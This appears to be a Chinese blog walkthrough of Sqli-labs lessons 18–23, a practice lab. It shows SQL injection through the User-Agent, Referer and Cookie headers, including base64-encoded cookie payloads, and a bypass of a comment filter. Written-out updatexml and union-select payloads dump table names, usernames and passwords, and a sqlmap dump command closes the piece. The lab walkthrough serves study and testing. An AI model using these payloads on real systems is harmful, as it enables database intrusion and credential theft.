Sqli-labs Less18-Less23 HTTP头

HTTP头

常见的HTTP请求头

Host:指定请求的服务器的域名和端口号,用于服务器区分请求的域名。
Connection:指定连接方式,如“keep-alive”表示持久连接,或“close”表示关闭连接。
Accept:指定客户端能够接受的媒体类型,如“text/html”、“application/json”等。
Accept-Encoding:指定客户端能够接受的压缩格式,如“gzip”、“deflate”等。
Accept-Language:指定客户端偏好的语言,如“zh-CN”、“en-US”等。
User-Agent:指定客户端的浏览器或应用程序信息,如“Mozilla/5.0”等。
Referer:指定请求来源的URL,用于服务器分析请求来源。
Authorization:用于身份验证,如“Basic”或“Bearer”等。
Cookie:用于存储客户端的会话信息,如登录状态等。
Content-Type:指定请求体的媒体类型,如“application/x-www-form-urlencoded”、“multipart/form-data”等。
Content-Length:指定请求体的长度,用于服务器确定请求体的结束位置。
If-Modified-Since:用于缓存控制,表示客户端只接受在指定时间之后修改过的资源。
Range:用于请求资源的一部分,如“bytes=0-1023”表示请求资源的前1024个字节。

Less_18 User-Agent

sqli-labs 通关指南:Less 18、19 - 乌漆WhiteMoon - 博客园 (cnblogs.com)

手工注入

image-20240717174334308

这道题直接在页面上就可以看到ip信息

和上题一样,只有登录成功后才可以看见底下有个报错,有个User-Agent ,猜测是User-Agent存在注入,如果不登陆成功的话,抓包改数据都没法回显

直接查看源代码,发现有个insert,这是个插入的sql语句,将useragent和ip插入到数据库中

image-20240717182842644

常见的HTTP注入点产生位置为【Referer】、【X-Forwarded-For】、【Cookie】、【X-Real-IP】、【Accept-Language】、【Authorization】

HTTP Referer是header头的一部分,从哪个网页了链接过来的
X-Forwarded-For 简称XXF头,代表客户端,用来记录代理信息,每经过一级处理,代理服务器都把这次请求的来源IP追加在XFF头上
COOkie:指某些网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据(通常经过加密)
X-Real-IP:是一个自定义的Header,一般只记录真实发出请求的客户端IP
Accept-Language 请求头允许客户端声明它可以理解的自然语言,以及优先选择的区域方言

数据中的sql语句为:INSEERT INTO table VALUES(‘User-Agent’,‘Ip’,‘Username’)

抓包,改User-Agent为单引号,出现报错信息

使用单引号闭合后,使用 “#” 注释掉后面的语句,注入失败。注入 2 个连续的单引号,发现闭合成功,由此可见 2 个单引号分别闭合了 2 侧的单引号

image-20240718112619586

这是我们知道了源代码的前提下:

用两个单引号来闭合或者用1',1,1)#

因为INSEERT INTO table VALUES(‘1’,1,1)#',‘Ip’,‘Username’),可以成功绕过

然后用update()报错注入

image-20240718113707952

就挨着爆表名,列名,字段名就行

如果上面用单引号闭合的话

' OR updatexml(1,concat(0x5c,database()),0x5c) OR '

因为插入updatexml()要用OR进行连接

INSERT INTO 'security'.'uagents' ('uagent', ‘ip_address', 'username') VALUES ('' OR updatexml(1,concat(0x5c,database()),2) OR '', '127.0.0.1', 'admin')

Less_19 Referer

和上题差不多,正确登陆后,显示了一个Referer,猜测可能是Referer的注入,抓包

image-20240718114717976

在Referer那里修改即可

image-20240718115622645

查看页面源码为:
$insert="INSERT INTO 'security'.'referers'('referer', 'ip_address') VALUES ('$uagent', '$IP')";

命令为:

'OR updatexml(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c),1)'  数据库名
'OR updatexml(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x5c),1) OR'  爆列名
' OR (updatexml(1,concat(0x5c,(SELECT concat(username,password) FROM (SELECT username,password from users)text LIMIT 1,1)),1)) OR ' 查密码和用户名
'OR updatexml(1,concat(0x7e,(select username from users limit 0,1)),3) OR'  查用户名
'OR updatexml(1,concat(0x7e,(select password from users limit 0,1)),3) OR'  查密码

image-20240718143817161

Less_20 Cookie

输入Dhakkan和1,看见底下的页面,可以想到是与cookie注入有关

image-20240718150220110

嗷嗷,因为注入点在cookie字段处,我们在其输入用户名和密码后,在浏览器保存cookie时,用BP抓包

判断是单引号注入

image-20240718152117037

用联合查询

uname=' union select 1,2,3

image-20240718152508087

image-20240718152708377

就按第一题的方法写就行

Less_21 Cookie

“%3D” 是 URL 编码中的等号

将其进行base64转码一下,这个就是输入的用户名

image-20240718154026493

由此我们可以知道cookie对uname进行base64的编码,我们输入命令时也将其进行base64编码即可

ZGhha2thbicp 网页报错

ZGhha2thbicpIw== 网页正常回显,可知是个单引号加上括号的注入

image-20240718154725594

JykgdW5pb24gc2VsZWN0IGdyb3VwX2NvbmNhdChpZCx1c2VybmFtZSxwYXNzd29yZCksMiwzIGZyb20gc2VjdXJpdHkudXNlcnMj

image-20240718154913203

Less_22 解密编码

image-20240718155152524

cookie头还是乱码,%3D是url编码的等号

image-20240718155138259

ZGhha2thbiI=

ZGhha2thbiIj 判断一下,这个是双引号闭合,所有命令都进行base64转码

按上面的方法写就行

Less_23 注释符过滤绕过

输入?id=1正常显示

输入?id=1'出现报错

报错信息为:

image-20240718160518120

image-20240718160426039

打开源码,发现用了preg_replace()函数将注释符进行了过滤

可以用and '1'='1进行绕过

因为sql语句是SELECT * FROM users WHERE id='$id' LIMIT 0,1

前面的和后面的语句都为真

SELECT * FROM users WHERE id='1'and '1'='1' LIMIT 0,1

但是这里的order by 没啥作用QAQ

?id=-1' union select 1,2,3 and '1'='1

image-20240718161602820

image-20240718162015526

?id=-1' union select 1,group_concat(username,password),3 from security.users and '1'='1这样会报错(不知道为啥,直接用工具吧)

sqlmap:

?id=1 -D security -T users -C "id,username,password" --dump

image-20240718163048239

  • 21
    点赞
  • 30
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值